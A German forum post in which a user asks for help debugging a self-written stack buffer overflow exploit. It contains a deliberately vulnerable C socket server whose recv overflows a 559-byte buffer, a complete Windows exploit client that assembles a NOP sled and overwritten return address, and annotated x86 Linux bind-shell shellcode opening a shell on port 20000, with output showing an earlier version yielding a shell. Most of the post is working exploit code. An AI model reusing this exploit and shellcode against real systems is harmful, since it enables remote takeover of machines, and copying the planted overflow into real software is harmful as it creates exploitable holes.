Mein C - Exploit für einen Socket Server geht nicht

Hallo.

Ich hab mir für meinen Socket Server einen Exploit geschrieben, der eine Shell an Port 20000 binden soll. Übers Netzwerk wollt ich damit mit telnet meinen Linux Rechner steuern.
Mit dem früheren Shellcode wo nur eine Shell geöffnet wurde hat alles bestens funktioniert. Jetzt hab ich den neuen Shellcode der die Shell an diesen Port bindet damit ich mich mit telnet connecten kann, und damit geht es nicht.

Führe ich den Shellcode direkt am Linuxrechner aus, kann ich mit telnet auf den Rechner zugreifen, also liegt es nicht am Shellcode.
Die größe des Buffers und die Adresse den rip zu überschreiben hab ich angepasst. Eigentlich müsste es gehen.

Hier die Sourcecodes:

Socket server unter Linux:

Code:
/*server_vul3.c verletzbarer socket server */

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
/*
int handling (int con_socket, int rc)
{
	char buff1 [559];
	rc = recv (con_socket, buff1, 570, 0);
	printf ("%s\n", buff1);
}
*/
int main (void)
{
	int ac_socket;
	int con_socket;
	int rc;
	struct sockaddr_in addr;

	ac_socket  = socket (AF_INET, SOCK_STREAM, 0);
	
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = INADDR_ANY;
	addr.sin_port = htons (1234);

	rc = bind (ac_socket, (struct sockaddr*) & addr, sizeof (addr));
	rc = listen (ac_socket, 3);
	
	
	con_socket = accept (ac_socket, NULL, NULL);
	
	//handling (con_socket, rc);
	char buff1 [559];
	rc = recv (con_socket, buff1, 570, 0);
	printf ("%s\n", buff1);
}

Der Exploit:

Code:
/* linclient_exp3.cpp */

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#define DEFAULT_OFFSET	 	430
#define DEFAULT_STACKBEGINN	0xbffff298
#define BUFF_GR	569  // Achtung! Hier unbedingt 529, da 208h auf den Stack + '0'
#define NOP					0x90
//#define ADDRESS			0xbffff108	

	

/*
char shellcode[] = 	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
					"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
					"\x80\xe8\xdc\xff\xff\xff/bin/sh";

*/


char shellcode[] = 
   "\x31\xdb"			// xor	   ebx, ebx
   "\xf7\xe3"			// mul	   ebx
   "\xb0\x66"			// mov     al, 102
   "\x53"				// push    ebx
   "\x43"				// inc     ebx
   "\x53"				// push    ebx
   "\x43"				// inc     ebx
   "\x53"				// push    ebx
   "\x89\xe1"			// mov     ecx, esp
   "\x4b"				// dec     ebx
   "\xcd\x80"			// int     80h
   "\x89\xc7"			// mov     edi, eax
   "\x52"				// push    edx
   "\x66\x68\x4e\x20"	// push    word 8270
   "\x43"				// inc     ebx
   "\x66\x53"			// push    bx
   "\x89\xe1"			// mov     ecx, esp
   "\xb0\xef"			// mov	   al, 239
   "\xf6\xd0"			// not	   al
   "\x50"				// push	   eax
   "\x51"				// push    ecx
   "\x57"				// push    edi
   "\x89\xe1"			// mov     ecx, esp
   "\xb0\x66"			// mov     al, 102
   "\xcd\x80"			// int     80h
   "\xb0\x66"			// mov     al, 102
   "\x43"				// inc	   ebx
   "\x43"				// inc	   ebx
   "\xcd\x80"			// int     80h
   "\x50"				// push	   eax
   "\x50"				// push	   eax
   "\x57"				// push	   edi
   "\x89\xe1"			// mov	   ecx, esp
   "\x43"				// inc	   ebx
   "\xb0\x66"			// mov	   al, 102
   "\xcd\x80"			// int	   80h
   "\x89\xd9"			// mov	   ecx, ebx
   "\x89\xc3"			// mov     ebx, eax
   "\xb0\x3f"			// mov     al, 63
   "\x49"				// dec     ecx
   "\xcd\x80"			// int     80h
   "\x41"				// inc     ecx
   "\xe2\xf8"			// loop    lp
   "\x51"				// push    ecx
   "\x68\x6e\x2f\x73\x68"	// push    dword 68732f6eh
   "\x68\x2f\x2f\x62\x69"	// push    dword 69622f2fh
   "\x89\xe3"			// mov     ebx, esp
   "\x51"				// push    ecx
   "\x53"				// push	   ebx
   "\x89\xe1"			// mov	   ecx, esp
   "\xb0\xf4"			// mov	   al, 244
   "\xf6\xd0"			// not	   al
   "\xcd\x80";			// int     80h



unsigned long GetESP(void)
{
	__asm {mov esp, eax};
}



int main (void)
{	
	
	//printf ("%d", strlen (shellcode));
	/* Socketclient */

	WSADATA wsa;
	SOCKET s;
	long rc;
	SOCKADDR_IN addr;

	char *buff, *zeiger;
	long *adr_zeiger, adr;
	int offset = DEFAULT_OFFSET;
	int BG = BUFF_GR;
	int i;


	rc = WSAStartup (MAKEWORD (1, 1), &wsa);

	s = socket (AF_INET, SOCK_STREAM, 0);

	addr.sin_addr.s_addr = inet_addr ("192.168.0.2");
	addr.sin_family = AF_INET;
	addr.sin_port = htons (1234);

	rc = connect (s, (SOCKADDR*) &addr, sizeof (SOCKADDR));
	
	
	/* Exploitteil */

	if (!(buff = (char*)malloc (BG)))
	{
		printf ("Fehler bei der Speicherreservierung.\n");
		exit (1);
	}

	adr = (DEFAULT_STACKBEGINN - DEFAULT_OFFSET); //Stackbeginn (Linux) - offset 400
	zeiger = buff;
	adr_zeiger = (long*)zeiger;

	for (i = 0; i < BG; i += 4)
		*(adr_zeiger++) = adr;

	for (i = 0; i < BG/2; i++)
		buff[i] = NOP;

	zeiger = buff +((BG/2) - (strlen (shellcode)/2));
	for (i = 0; i < strlen (shellcode); i++)
		*(zeiger++) = shellcode[i];
	
	buff[BG - 1] = '\0';	// BUFF_GR  = 529 oder diesen Teil weglassen!

	send (s, buff, strlen(buff), 0);

	closesocket (s);
	WSACleanup();
	return 0;

}


Output am Linuxrechner nach dem exploiten mit dem alten Shellcode:

Code:
bleedingsoul@linux:~> ./server_vul3.out
?^1?FF
      ?
       ?V
         ?1??@??????/bin/sh????????
sh-2.05b$
sh-2.05b$ exit
Shell geöffnet wie man sieht.

Output mit dem neuen Exploit:

Code:
bleedingsoul@linux:~> gcc -o server_vul3.out server_vul3.c
bleedingsoul@linux:~> ./server_vul3.out
1????fSCSCS?K??RfhN CfS?????PQW??f??fCC?PPW?C?f?????I?A??Qhn/shh//bi?QS????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????0?
bleedingsoul@linux:~>


Wenn ich den Shellcode direkt am Linuxrechner ausführe, startet er wie ein normaler Socket Server und die Shell ist offen, bis ich ihn abgebrochen hab.
Das die Shell offen ist ist nicht sichtbar, aber mit telnet konnt ich mich connecten.

Code:
bleedingsoul@linux:~> ./shell-bind-shell.out


bleedingsoul@linux:~>


Wie man am Output oben sehen kann wurde nach dem exploiten mit dem neuen Shellcode nichts gestartet.

Kann mir jemand sagen, was da los ist?
Bin für jede Hilfe und jeden Hinweis dankbar.

mfG
BleedingSoul
 
Zurück
Oben